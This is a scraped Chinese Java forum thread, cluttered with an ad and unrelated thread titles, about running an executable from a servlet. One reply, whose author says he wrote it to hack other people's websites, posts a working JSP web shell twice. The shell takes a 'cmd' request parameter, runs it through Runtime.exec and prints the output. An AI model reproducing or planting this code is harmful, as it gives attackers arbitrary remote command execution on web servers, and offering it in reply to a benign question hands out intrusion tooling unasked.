能不能在servlet中启动服务器的一个可执行程序? Runtime.getRuntime().exec("(exe文件所在目录的完整路径)\\*.exe"); 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 这个我试过,好像在servlet中不管用 嘿嘿,这是我写来专门黑别人网站用的.JSP都吐血给你了:0-)你把它改成SERVLET也可以<%@ page import="java.io.*" %><% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); }%> 兼容问题,ie8上好使,ie6上按钮就没了,求大神们指教 菜鸟请教 tomcat下多项目问题, htmlParser在JSP中应用中的一个错误 tomcat5.5版本以上配置私有数据源的问题 JSP网站登陆问题 tomcat question jsp请教如何提交多条记录的表单 求救!!!!!!!!!!!!!! coco求救? 【混眼熟】 自己写的上移、下移、置顶、置底的js方法!有什么可以改善的吗? win2000下装Tomcat 4.1老是不成功 请问: jsp有什么好的教程吗?
你把它改成SERVLET也可以
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>